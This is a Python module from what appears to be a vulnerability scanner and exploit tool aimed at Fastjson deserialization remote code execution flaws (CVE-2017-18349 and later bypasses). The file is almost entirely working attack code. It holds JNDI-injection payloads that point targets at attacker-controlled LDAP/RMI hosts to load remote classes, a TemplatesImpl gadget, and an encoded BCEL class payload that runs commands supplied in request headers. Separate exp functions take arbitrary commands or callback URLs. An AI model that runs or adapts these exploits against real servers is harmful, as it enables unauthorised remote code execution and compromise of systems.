#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
from thirdparty import requests
from module.md5 import random_md5
from core.verify import misinformation
import threading
from core.verify import verify
from module import globals
from thirdparty.requests_toolbelt.utils import dump
from module.api.dns import dns_result, dns_request


class Fastjson():
    def __init__(self, url):
        self.url = url
        self.raw_data = None
        self.vul_info = {}
        self.ua = globals.get_value("UA")  # 获取全局变量UA
        self.timeout = globals.get_value("TIMEOUT")  # 获取全局变量UA
        self.headers = globals.get_value("HEADERS")  # 获取全局变量HEADERS
        self.threadLock = threading.Lock()

    def fastjson_1224_1_poc(self):
        self.threadLock.acquire()
        self.vul_info["prt_name"] = "Fastjson: VER-1224-1"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_payd"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info["vul_name"] = "Fastjson 反序列化远程代码执行漏洞"
        self.vul_info["vul_numb"] = "CVE-2017-18349"
        self.vul_info["vul_apps"] = "Fastjson"
        self.vul_info["vul_date"] = "2017-03-15"
        self.vul_info["vul_vers"] = "<= 1.2.24"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "远程代码执行"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "Fastjson中的parseObject允许远程攻击者通过精心制作的JSON请求执行任意代码"
        self.vul_info["cre_date"] = "2021-01-20"
        self.vul_info["cre_auth"] = "zhzyker"
        headers = {'User-Agent': self.ua, 'Content-Type': "application/json", 'Connection': 'close'}
        md = dns_request()
        dns = md
        data = {
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": "ldap://"+dns+"//Exploit",
                "autoCommit": True
            }
        }
        data = json.dumps(data)
        try:
            try:
                request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
                self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
            except:
                pass
            if dns_result(md):
                self.vul_info["vul_payd"] = "ldap://" + dns + "//Exploit] "
                self.vul_info["prt_resu"] = "PoCSuCCeSS"
                self.vul_info["prt_info"] = "[dns] [payload: ldap://"+dns+"//Exploit] "
                verify.scan_print(self.vul_info)
            else:
                verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception as e:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()

    def fastjson_1224_2_poc(self):
        self.threadLock.acquire()
        self.vul_info["prt_name"] = "Fastjson: VER-1224-2"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_payd"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info["vul_name"] = "Fastjson 反序列化远程代码执行漏洞"
        self.vul_info["vul_numb"] = "CVE-2017-18349"
        self.vul_info["vul_apps"] = "Fastjson"
        self.vul_info["vul_date"] = "2017-03-15"
        self.vul_info["vul_vers"] = "<= 1.2.24"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "远程代码执行"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "Fastjson中的parseObject允许远程攻击者通过精心制作的JSON请求执行任意代码"
        self.vul_info["cre_date"] = "2021-04-08"
        self.vul_info["cre_auth"] = "zhzyker"
        md = random_md5()
        cmd = "echo " + md
        headers = {
            'User-Agent': self.ua,
            'Content-Type': 'application/json',
            'Testcmd': cmd,
            'Connection': 'close'
        }
        data = {
            "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
            "_bytecodes": [
                " "
            ],
            "_name": "lightless",
            "_tfactory": {
            },
            "_outputProperties":{
            }
        }
        data = json.dumps(data)
        try:
            request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
            if md in misinformation(request.text, md):
                self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
                self.vul_info["vul_payd"] = data
                self.vul_info["prt_resu"] = "PoCSuCCeSS"
                self.vul_info["prt_info"] = "[rce] [tomcat] [cmd: " + cmd + "]"
                verify.scan_print(self.vul_info)
            else:
                verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception as e:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()

    def fastjson_1224_3_poc(self):
        self.threadLock.acquire()
        self.vul_info["prt_name"] = "Fastjson: VER-1224-3"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_payd"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info["vul_name"] = "Fastjson 反序列化远程代码执行漏洞"
        self.vul_info["vul_numb"] = "CVE-2017-18349"
        self.vul_info["vul_apps"] = "Fastjson"
        self.vul_info["vul_date"] = "2017-03-15"
        self.vul_info["vul_vers"] = "<= 1.2.24"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "远程代码执行"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "Fastjson中的parseObject允许远程攻击者通过精心制作的JSON请求执行任意代码"
        self.vul_info["cre_date"] = "2021-04-10"
        self.vul_info["cre_auth"] = "zhzyker"
        md = random_md5()
        cmd = "echo " + md
        headers = {
            'User-Agent': self.ua,
            'Content-Type': 'application/json',
            'cmd': cmd,
            'Connection': 'close'
        }
        data = '{{"@type": "com.alibaba.fastjson.JSONObject","x":{"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$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2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}: "x"}'
        try:
            request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
            if md in misinformation(request.text, md):
                self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
                self.vul_info["vul_payd"] = data
                self.vul_info["prt_resu"] = "PoCSuCCeSS"
                self.vul_info["prt_info"] = "[rce] [spring] [cmd: " + cmd + "]"
                verify.scan_print(self.vul_info)
            else:
                verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception as e:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()

    def fastjson_1247_poc(self):
        self.threadLock.acquire()
        self.vul_info["prt_name"] = "Fastjson: VER-1247"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_payd"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info["vul_name"] = "Fastjson 反序列化远程代码执行漏洞"
        self.vul_info["vul_numb"] = "null"
        self.vul_info["vul_apps"] = "Fastjson"
        self.vul_info["vul_date"] = "2019-07-15"
        self.vul_info["vul_vers"] = "<= 1.2.47"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "远程代码执行"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "Fastjson 1.2.47及以下版本中，利用其缓存机制可实现对未开启autotype功能的绕过。"
        self.vul_info["cre_date"] = "2021-01-20"
        self.vul_info["cre_auth"] = "zhzyker"
        headers = {'User-Agent': self.ua, 'Content-Type': "application/json", 'Connection': 'close'}
        md = dns_request()
        dns = md
        data = {
            "a": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
            },
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": "ldap://"+dns+"//Exploit",
                "autoCommit": True
            }
        }
        data = json.dumps(data)
        try:
            try:
                request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
                self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
            except:
                pass
            if dns_result(md):
                self.vul_info["vul_payd"] = "ldap://"+dns+"//Exploit] "
                self.vul_info["prt_resu"] = "PoCSuCCeSS"
                self.vul_info["prt_info"] = "[dns] [payload: ldap://"+dns+"//Exploit] "
                verify.scan_print(self.vul_info)
            else:
                verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception as e:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()

    def fastjson_1262_poc(self):
        self.threadLock.acquire()
        self.vul_info["prt_name"] = "Fastjson: VER-1262"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_payd"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info["vul_name"] = "Fastjson 反序列化远程代码执行漏洞"
        self.vul_info["vul_numb"] = "null"
        self.vul_info["vul_apps"] = "Fastjson"
        self.vul_info["vul_date"] = "2019-10-07"
        self.vul_info["vul_vers"] = "<= 1.2.62"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "远程代码执行"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "官方暂未发布针对此漏洞的修复版本，开启了autoType功能的受影响用户可通过关闭autoType来规避风险" \
                                    "（autoType功能默认关闭），另建议将JDK升级到最新版本。"
        self.vul_info["cre_date"] = "2021-01-21"
        self.vul_info["cre_auth"] = "zhzyker"
        headers = {'User-Agent': self.ua, 'Content-Type': "application/json"}
        md = dns_request()
        dns = md
        data = {
            "@type": "org.apache.xbean.propertyeditor.JndiConverter",
            "AsText": "ldap://" + dns + "//exploit"
        }
        data = json.dumps(data)
        try:
            try:
                request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
                self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
            except:
                pass
            if dns_result(md):
                self.vul_info["vul_payd"] = "ldap://" + dns + "//Exploit] "
                self.vul_info["prt_resu"] = "PoCSuCCeSS"
                self.vul_info["prt_info"] = "[dns] [payload: ldap://"+dns+"//Exploit] "
                verify.scan_print(self.vul_info)
            else:
                verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception as e:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()

    def fastjson_1224_1_exp(self, rmi_ldap):
        vul_name = "Fastjson: VER-1224-1"
        data = {
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": rmi_ldap,
                "autoCommit": True
            }
        }
        headers = {'User-Agent': self.ua, 'Content-Type': "application/json"}
        data = json.dumps(data)
        try:
            request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
            r = "Command Executed Successfully (But No Echo)"
            raw_data = dump.dump_all(request).decode('utf-8', 'ignore')
            verify.exploit_print(r, raw_data)
        except requests.exceptions.Timeout:
            verify.timeout_print(vul_name)
        except requests.exceptions.ConnectionError:
            verify.connection_print(vul_name)
        except Exception:
            verify.error_print(vul_name)

    def fastjson_1224_2_exp(self, cmd):
        vul_name = "Fastjson: VER-1224-2"
        headers = {
            'User-Agent': self.ua,
            'Content-Type': 'application/json',
            'Testcmd': cmd,
            'Connection': 'close'
        }
        data = {
            "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
            "_bytecodes": [
                " "
            ],
            "_name": "lightless",
            "_tfactory": {
            },
            "_outputProperties": {
            }
        }
        data = json.dumps(data)
        try:
            request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
            raw_data = dump.dump_all(request).decode('utf-8', 'ignore')
            verify.exploit_print(request.text, raw_data)
        except requests.exceptions.Timeout:
            verify.timeout_print(vul_name)
        except requests.exceptions.ConnectionError:
            verify.connection_print(vul_name)
        except Exception:
            verify.error_print(vul_name)

    def fastjson_1224_3_exp(self, cmd):
        vul_name = "Fastjson: VER-1224-3"
        headers = {
            'User-Agent': self.ua,
            'Content-Type': 'application/json',
            'cmd': cmd,
            'Connection': 'close'
        }
        data = '{{"@type": "com.alibaba.fastjson.JSONObject","x":{"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d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$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}: "x"}'
        try:
            request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
            raw_data = dump.dump_all(request).decode('utf-8', 'ignore')
            verify.exploit_print(request.text, raw_data)
        except requests.exceptions.Timeout:
            verify.timeout_print(vul_name)
        except requests.exceptions.ConnectionError:
            verify.connection_print(vul_name)
        except Exception:
            verify.error_print(vul_name)

    def fastjson_1247_exp(self, rmi_ldap):
        vul_name = "Fastjson: VER-1247"
        headers = {'User-Agent': self.ua, 'Content-Type': "application/json"}
        data = {
            "a": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
            },
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": rmi_ldap,
                "autoCommit": True
            }
        }
        data = json.dumps(data)
        try:
            request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
            raw_data = dump.dump_all(request).decode('utf-8', 'ignore')
            r = "Command Executed Successfully (But No Echo)"
            verify.exploit_print(r, raw_data)
        except requests.exceptions.Timeout:
            verify.timeout_print(vul_name)
        except requests.exceptions.ConnectionError:
            verify.connection_print(vul_name)
        except Exception:
            verify.error_print(vul_name)

    def fastjson_1262_exp(self, rmi_ldap):
        vul_name = "Fastjson: VER-1262"
        headers = {'User-Agent': self.ua, 'Content-Type': "application/json"}
        data = {
            "@type": "org.apache.xbean.propertyeditor.JndiConverter",
            "AsText": rmi_ldap
        }
        data = json.dumps(data)
        try:
            request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
            raw_data = dump.dump_all(request).decode('utf-8', 'ignore')
            r = "Command Executed Successfully (But No Echo)"
            verify.exploit_print(r, raw_data)
        except requests.exceptions.Timeout:
            verify.timeout_print(vul_name)
        except requests.exceptions.ConnectionError:
            verify.connection_print(vul_name)
        except Exception:
            verify.error_print(vul_name)

